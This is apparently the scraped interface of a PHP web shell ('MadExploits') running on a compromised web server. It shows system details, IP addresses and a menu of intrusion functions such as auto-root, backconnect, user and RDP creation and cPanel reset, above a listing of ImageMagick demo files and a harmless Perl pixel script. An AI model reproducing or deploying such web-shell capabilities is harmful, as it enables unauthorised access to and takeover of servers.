Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.216
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
ImageMagick-perl-6.9.10.68 /
demo /
[ HOME SHELL ]
Name
Size
Permission
Action
Makefile
360
B
-rw-r--r--
README
124
B
-rw-r--r--
Turtle.pm
868
B
-rw-r--r--
annotate.pl
1.41
KB
-rw-r--r--
annotate_words.pl
1.96
KB
-rw-r--r--
button.pl
397
B
-rw-r--r--
compose-specials.pl
5.38
KB
-rw-r--r--
composite.pl
1.55
KB
-rw-r--r--
demo.pl
11.86
KB
-rw-r--r--
dst.png
437
B
-rw-r--r--
lsys.pl
2.34
KB
-rw-r--r--
model.gif
22.88
KB
-rw-r--r--
piddle.pl
1.9
KB
-rw-r--r--
pink-flower.gif
544
B
-rw-r--r--
pixel-fx.pl
1.56
KB
-rw-r--r--
red-flower.gif
694
B
-rw-r--r--
settings.pl
782
B
-rw-r--r--
shadow-text.pl
521
B
-rw-r--r--
shapes.pl
1.21
KB
-rw-r--r--
single-pixels.pl
1.16
KB
-rw-r--r--
smile.gif
1.32
KB
-rw-r--r--
src.png
400
B
-rw-r--r--
steganography.pl
682
B
-rw-r--r--
tile.gif
1.53
KB
-rw-r--r--
tree.pl
829
B
-rw-r--r--
yellow-flower.gif
565
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : single-pixels.pl
#!/usr/bin/perl eval 'exec /usr/bin/perl -S $0 ${1+"$@"}' if 0; # not running under some shell # # Methods for to Get and Set single pixels in images using PerlMagick # use strict; use Image::Magick; # read image my $im=Image::Magick->new(); $im->Read('logo:'); # --- # Get/Set a single pixel as a string my $skin=$im->Get('pixel[400,200]'); print "Get('pixel[x,y]') = ", $skin, "\n"; $im->Set('pixel[1,1]'=>'0,0,0,0'); $im->Set('pixel[2,1]'=>$skin); $im->Set('pixel[3,1]'=>'green'); $im->Set('pixel[4,1]'=>'rgb(255,0,255)'); # --- # More direct single pixel access my @pixel = $im->GetPixel( x=>400, y=>200 ); print "GetPixel() = ", "@pixel", "\n"; # modify the pixel values (as normalized floats) $pixel[0] = $pixel[0]/2; # darken red value $pixel[1] = 0.0; # junk green value $pixel[2] = 0.0; # junk blue value # write pixel to destination # (quantization and clipping happens here) $im->SetPixel(x=>5,y=>1,color=>\@pixel); # --- # crop, scale, display the changed pixels $im->Crop(geometry=>'7x3+0+0'); $im->Set(page=>'0x0+0+0'); $im->Scale('1000%'); # Output the changed pixels $im->Write('win:'); $im->Write('single-pixels.gif');
Close